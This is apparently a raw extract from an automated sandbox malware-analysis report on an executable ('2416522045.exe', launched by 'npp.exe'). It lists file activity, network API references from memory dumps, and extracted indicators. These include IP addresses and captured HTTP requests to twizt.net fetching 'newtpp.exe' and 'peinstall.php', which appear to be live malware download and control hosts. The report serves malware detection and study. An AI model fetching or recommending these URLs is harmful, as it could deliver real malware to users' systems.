"C:\Windows\AppPatch\sysmain.sdb" "2416522045.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "2416522045.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "2416522045.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "2416522045.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "2416522045.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "2416522045.exe" touched file "C:\Windows\sysvratrel.exe" "2416522045.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "2416522045.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies"4c:T593,"npp.exe" trying to access non-existent file "C:\version.DLL" "npp.exe" trying to access non-existent file "C:\FLTLIB.DLL" "npp.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "npp.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "npp.exe" trying to access non-existent file "C:\Secur32.dll" "npp.exe" trying to access non-existent file "C:\SSPICLI.DLL" "npp.exe" trying to access non-existent file "C:\api-ms-win-downlevel-advapi32-l2-1-0.dll" "npp.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "npp.exe" trying to access non-existent file "C:\WINNSI.DLL" "npp.exe" trying to access non-existent file "C:\api-ms-win-downlevel-shlwapi-l2-1-0.dll" "npp.exe" trying to access non-existent file "C:\DNSAPI.dll" "npp.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "npp.exe" trying to access non-existent file "C:\dhcpcsvc6.DLL" "npp.exe" trying to access non-existent file "C:\dhcpcsvc.DLL" "npp.exe" trying to access non-existent file "C:\CRYPTSP.dll" "npp.exe" trying to access non-existent file "C:\RpcRtRemote.dll" "npp.exe" trying to access non-existent file "C:\VERSION.DLL" "npp.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "npp.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL"4d:T692,"npp.exe" trying to access non-existent file "C:\npp.exe.Local\" "npp.exe" trying to access non-existent file "\Device\RasAcd" "npp.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}" "npp.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{8EC77AB6-0A67-49F5-B497-0C81B8B3510C}" "npp.exe" trying to access non-existent file "C:\Users\dGXjh6G\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS" "npp.exe" trying to access non-existent file "C:\Users\dGXjh6G\AppData\Local\Temp\2416522045.exe:Zone.Identifier" "npp.exe" trying to access non-existent file "C:\Users\dGXjh6G\AppData\Local\Temp\33573537.jpg" "npp.exe" trying to access non-existent file "C:\Users\dGXjh6G\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP" "npp.exe" trying to access non-existent file "C:\NPP.EXE.LOCAL" "npp.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS" "npp.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2416522045.exe:ZONE.IDENTIFIER" "npp.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\33573537.JPG" "npp.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP" "2416522045.exe" trying to access non-existent file "C:\Users\dGXjh6G\AppData\Local\Temp\2416522045.exe:Zone.Identifier" "2416522045.exe" trying to access non-existent file "C:\Users\dGXjh6G\tbtcmds.dat" "2416522045.exe" trying to access non-existent file "\Device\RasAcd"4e:T596,"npp.exe" called "InternetOpenA with parameter Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36" (UID: 00000000-00006112) "npp.exe" called "InternetOpenW with parameter Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36" (UID: 00000000-00006112) "npp.exe" called "InternetOpenA with parameter Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" (UID: 00000000-00006112) "2416522045.exe" called "InternetOpenA with parameter Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" (UID: 00000000-00003624) "2416522045.exe" called "InternetOpenW with parameter Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" (UID: 00000000-00003624) "2416522045.exe" called "InternetOpenA with parameter Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)" (UID: 00000000-00003624) "2416522045.exe" called "InternetOpenW with parameter Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;" (UID: 00000000-00003624)4f:T436,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp")50:T15b9,Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "npp.exe") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; File: "npp.exe") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "npp.exe") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "npp.exe") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "npp.exe") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00006112-00000C26-2055106481") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00006112-00000C26-2055107587") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp")51:Td36,Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "npp.exe") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownloadToFile"; File: "npp.exe") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownload"; File: "npp.exe") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownloadToFile"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownload"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownloadToFile"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownload"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownloadToFile"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownload"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownloadToFile"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp") Found reference to API "URLDownloadToFileW" (Indicator: "URLDownload"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp")52:T158c,Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; File: "npp.exe") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "npp.exe") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "npp.exe") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "npp.exe") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "45419446814256,2796,3198,,InternetOpenA,Wininet.dll,"253:16:20.775",RX=0,PX=0" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000001.197842.00140000.00000004.mdmp") Found reference to API "67620531363348,2796,3198,,InternetOpenA,Wininet.dll,"253:32:04.136",RX=0,PX=0" (Indicator: "InternetOpen"; Source: "00000000-00002096.00000002.199622.00140000.00000004.mdmp") Found reference to API "37201298645273,3844,3198,,InternetOpenA,Wininet.dll,"254:39:23.406",RX=0,PX=0" (Indicator: "InternetOpen"; Source: "00000000-00003624.00000001.197198.00200000.00000004.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "66086869925285,3844,3198,,InternetOpenA,Wininet.dll,"257:06:03.834",RX=0,PX=0" (Indicator: "InternetOpen"; Source: "00000000-00003624.00000002.199124.00200000.00000004.mdmp") Found reference to API "72411274892349,3844,3198,,InternetOpenA,Wininet.dll,"257:34:07.634",RX=0,PX=0" (Indicator: "InternetOpen"; Source: "00000000-00003624.00000003.199619.00200000.00000004.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp")53:T15a5,"185.215.113.66" Potential IP "185.215.113.66" found in string "http://185.215.113.66/3" Potential IP "185.215.113.66" found in string "http://185.215.113.66/4" Potential IP "185.215.113.66" found in string "://185.215.113.66/1" Potential IP "185.215.113.66" found in string "http://185.215.113.66/7" Potential IP "185.215.113.66" found in string "http://185.215.113.66/1" Potential IP "185.215.113.66" found in string "http://185.215.113.66/2" Potential IP "185.215.113.66" found in string "http://185.215.113.66/5" Potential IP "185.215.113.66" found in string "http://185.215.113.66/6" Potential IP "185.215.113.66" found in string "http://185.215.113.66/_1" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/_1" "85.215.113.66" Potential IP "185.215.113.66" found in string "http://185.215.113.66/" Potential IP "91.202.233.141" found in string "http://91.202.233.141/" Potential IP "193.233.132.177" found in string "http://193.233.132.177/" "192.168.0.2" "193.233.132.177" Potential IP "185.215.113.66" found in string "http://185.215.113.66/_3" "93.233.132.177" "1.202.233.141" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/_1" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/_3" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/_3" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/_2" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/_1" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/_2" Potential IP "91.202.233.141" found in string "tp://91.202.233.141/_2" Potential IP "185.215.113.66" found in string "st: 185.215.113.66" Potential IP "185.215.113.66" found in string "tp://185.215.113.66/_1" "5.215.113.66" Potential IP "193.233.132.177" found in string "Host: 193.233.132.177" Potential IP "193.233.132.177" found in string "http://193.233.132.177/_1" "91.202.233.141" Potential IP "193.233.132.177" found in string "tp://193.233.132.177/_1" Potential IP "91.202.233.141" found in string "tp://91.202.233.141/_1" Potential IP "91.202.233.141" found in string "tp://91.202.233.141/" Potential IP "193.233.132.177" found in string "tp://193.233.132.177/" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/_2" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/_3" "3.233.132.177" Potential IP "91.202.233.141" found in string "tp://91.202.233.141/_3" Potential IP "193.233.132.177" found in string "tp://193.233.132.177/_3" Potential IP "185.215.113.66" found in string "Host: 185.215.113.66" "0.0.0.0" "239.255.255.250" Potential IP "239.255.255.250" found in string "HOST: 239.255.255.250:1900" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/1" Potential IP "91.202.233.141" found in string "http://91.202.233.141/4" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/4" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/3" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/2" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/3" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/4" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/2" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/6" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/5" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/1" Potential IP "91.202.233.141" found in string "Host: 91.202.233.141" Potential IP "91.202.233.141" found in string "tp://91.202.233.141/4" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/3" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/5" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/2" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/1" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/4" Potential IP "193.233.132.177" found in string "tp://193.233.132.177/6" Potential IP "193.233.132.177" found in string "ttp://193.233.132.177/6" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/5" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/6" Potential IP "91.202.233.141" found in string "tp://91.202.233.141/3" Potential IP "91.202.233.141" found in string "http://91.202.233.141/3" Potential IP "91.202.233.141" found in string "tp://91.202.233.141/2" Potential IP "91.202.233.141" found in string "ttp://91.202.233.141/" Potential IP "185.215.113.66" found in string "tp://185.215.113.66/_2" Potential IP "185.215.113.66" found in string "ttp://185.215.113.66/" Potential IP "93.233.132.177" found in string "93.233.132.177/" Potential IP "185.215.113.66" found in string "tp://185.215.113.66/" Potential IP "85.215.113.66" found in string "85.215.113.66/1" "2.168.0.2" Potential IP "185.215.113.66" found in string "://185.215.113.66/" Potential IP "91.202.233.141" found in string "http://91.202.233.141/5" Potential IP "91.202.233.141" found in string "tp://91.202.233.141/5" Potential IP "185.215.113.66" found in string "tp://185.215.113.66/2" Potential IP "193.233.132.177" found in string "tp://193.233.132.177/3" Potential IP "91.202.233.141" found in string "st: 91.202.233.141" Potential IP "193.233.132.177" found in string "tp://193.233.132.177/1" Potential IP "193.233.132.177" found in string "http://193.233.132.177/1"54:T11ef,Pattern match: "http://twizt.net/peinstall.php" Pattern match: "http://twizt.net/newtpp.exe" Pattern match: "http://91.202.233.141/http://193.233.132.177/%s%sStartNoAutoUpdateNoAutoUpdateStartCheckedValueSOFTWARE\Microsoft\Security" Pattern match: "http://91.202.233.141/http://193.233.132.177/SOFTWARE\Microsoft\Security" Pattern match: "mode.Rich/.text`.rdata@.data.rsrc@.relochh!@Qh,#@$,0@5" Pattern match: "Zjd.Gm.ps/*q" Heuristic match: "twizt.net" Heuristic match: "GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net" Heuristic match: "GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net" Heuristic match: "GET /STATSONLINEBRO HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: twizt.net" Pattern match: "http://185.215.113.66/3" Pattern match: "http://185.215.113.66/4" Pattern match: "http://185.215.113.66/7" Pattern match: "http://185.215.113.66/1" Pattern match: "http://185.215.113.66/2" Pattern match: "http://185.215.113.66/5" Pattern match: "http://185.215.113.66/6" Pattern match: "http://185.215.113.66/_1" Pattern match: "http://185.215.113.66/" Pattern match: "http://91.202.233.141/" Pattern match: "http://193.233.132.177/" Pattern match: "http://185.215.113.66/_3" Pattern match: "www.rakuten.co.jp/" Pattern match: "www.mynet.com/" Pattern match: "www.priceline.com/" Heuristic match: "a.com" Pattern match: "secure-assets.rubiconproject.com/utils/xapi/" Heuristic match: "~df636ace35e31011d2.tm" Heuristic match: "~dfaa50c5778e3de2b9.tm" Heuristic match: "~dff0d25bb8135b3015.tm" Heuristic match: "tcd765c.tm" Heuristic match: "datde99.tm" Heuristic match: "~df8d37fe8d880d3185.tm" Heuristic match: "419653f.tm" Pattern match: "http://193.233.132.177/_1" Heuristic match: "*.com" Pattern match: "www.update.microsoft.com" Pattern match: "http://schemas.xmlsoap.org/soap/envelope/" Pattern match: "http://schemas.xmlsoap.org/soap/encoding/" Heuristic match: "PATHEXT=.CO" Heuristic match: "SE;.WSF;.WS" Pattern match: "ww.reddit.com/r/gifs" Heuristic match: "SF;.WS" Heuristic match: "r.com" Pattern match: "www.monografias.com/" Pattern match: "http://91.202.233.141/4" Pattern match: "www.kohls.com/" Pattern match: "reddit.com/r/gifs" Heuristic match: "cb58f7c7db8.tm" Heuristic match: "SmT.Sm" Pattern match: "http://twizt.net/STATSONLINEBRO" Pattern match: "http://91.202.233.141/3" Pattern match: "twizt.net/STATSONLINEBRO" Heuristic match: "wizt.net" Pattern match: "www.bing.com/" Pattern match: "www.meetic.es/" Pattern match: "www.match.com/" Pattern match: "www.submarino.com.br/" Pattern match: "www.instagram.com/" Pattern match: "www.tripadvisor.co.uk/" Pattern match: "www.liveadexchanger.com/" Heuristic match: "t.net" Heuristic match: "Host: twizt.net" Heuristic match: "izt.net" Heuristic match: "st: twizt.net" Pattern match: "www.babycenter.com/" Pattern match: "www.pcauto.com.cn/" Pattern match: "ts.rubiconproject.com/utils/xapi/" Pattern match: "ww.instagram.com/justinbieber" Pattern match: "www.newgrounds.com/" Pattern match: "www.cheapoair.com/" Pattern match: "www.gosunpro.com/" Heuristic match: "co.uk" Pattern match: "www.pixnet.net/" Pattern match: "www.fifa.com/" Pattern match: "www.corriere.it/" Pattern match: "ih.adscale.de/adscale-ih/" Pattern match: "www.gmx.net/" Heuristic match: "s@enfemenino.co" Pattern match: "www.7k7k.com/" Pattern match: "www.aweber.com/" Pattern match: "www.amazon.com/" Pattern match: "www.compado.es/" Pattern match: "www.update.microsofth" Pattern match: "hemas.xmlsoap.org/soap/encoding/" Pattern match: "http://schemas.xmlsoap.org/s" Pattern match: "rubiconproject.com/utils/xapi/" Pattern match: "bs.serving-sys.com/servinb" Pattern match: "www.rakuten.cO" Pattern match: "www.priceline" Heuristic match: "tcd765b.tm" Heuristic match: "250.tm" Heuristic match: "~dfbc669d44d419653f.tm" Pattern match: "http://91.202.233.141/5" 